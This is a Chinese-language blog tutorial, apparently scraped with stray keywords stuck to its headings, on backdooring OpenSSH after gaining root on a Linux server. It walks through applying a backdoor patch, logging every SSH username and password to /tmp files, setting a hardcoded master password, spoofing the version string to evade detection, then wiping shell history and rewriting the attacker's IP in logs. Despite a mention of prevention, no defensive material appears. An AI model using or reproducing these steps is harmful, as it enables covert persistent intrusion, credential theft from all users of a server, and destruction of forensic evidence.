利用Openssh後門 劫持root密碼

Linux操做系統的密碼較難獲取。而不少Linux服務器都配置了Openssh服務,在獲取root權限的狀況下,linux

能夠經過修改或者更新OpenSSH代碼等方法,截取並保存其SSH登陸帳號密碼,甚至能夠留一個隱形的後門,shell

達到長期控制linux服務器的目的。在不少Linux系統被入侵後都會在系統中留後門,使用OpenSSH留後門是入侵者的慣用方式之一,OpenSSh後門比較難於檢測vim

那麼怎麼給添加OpenSSH後門以及防範後門呢bash

安裝依賴包服務器

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

 

準備安裝包ssh

[root@DaMoWang ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
[root@DaMoWang ~]# ls /opt/
openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是補丁文件

解壓測試

[root@DaMoWang ~]# cd /opt/
[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz 
[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz 
[root@DaMoWang opt]# ls
openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz

給openssh打補丁spa

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
[root@DaMoWang opt]# which patch
/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)
[root@DaMoWang opt]# yum install patch
[root@DaMoWang opt]# cd /opt/openssh-5.9p1
[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff   # 打補丁就是修改替換原文件
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h

添加後門密碼操作系統

[root@DaMoWang openssh-5.9p1]# vim includes.h 
# 跳轉到配置文件末尾處 , 修改默認配置
#define ILOG "/tmp/ilog"    # 記錄遠程登陸本機的用戶和密碼
#define OLOG "/tmp/olog"    # 記錄本機遠程登陸到其餘主機的用戶和密碼
#define SECRETPW "apaajaboleh"    # 後門密碼

修改版本號rest

[root@DaMoWang openssh-5.9p1]# vim version.h 
# 修改成當前OpenSSH的版本號
#define SSH_VERSION     "OpenSSH_5.3"

#define SSH_PORTABLE    "p1"

編譯安裝

[root@DaMoWang openssh-5.9p1]# ./configure --prefix=/usr \
 --sysconfdir=/etc/ssh \
 --with-pam \
 --with-kerberos5 \
 && make && make install

 

能夠看出來 安裝的時候 , 已經把原有的ssh的全部命令所有替換 , 可是原有的配置文件並無被替換 , 這樣不容易被發現

重啓ssh服務 測試一下

[root@DaMoWang openssh-5.9p1]# service sshd restart
中止 sshd:                                                [肯定]
正在啓動 sshd:                                            [肯定]
[root@DaMoWang openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服務正常啓動 , 版本也與原版本一致

測試是否能劫持用戶密碼

首先測試遠程登陸本機

如今並無生成文件

用xshell遠程鏈接一下

 

 用戶名和密碼被劫持 , 不單單是root用戶  , 全部遠程鏈接本機的用戶都會被記錄 

測試後面密碼可否登陸本機

爲了看到效果 使用明文密碼登陸

鏈接之後 別留下腳印

[root@DaMoWang ~]# export HISTFILE=/dev/null
[root@DaMoWang ~]# export HISTSIZE=0
[root@DaMoWang ~]# export HISTFILESIZE=0
[root@DaMoWang ~]# echo >/root/.bash_history # 這個是歷史命令的終極文件 不能刪除 , 若是原來有內容 , 不能清除 能夠是用sed替換
[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history
# 其餘訪問日誌也能夠用用sed替換ip , 瞞天過海
相關文章
相關標籤/搜索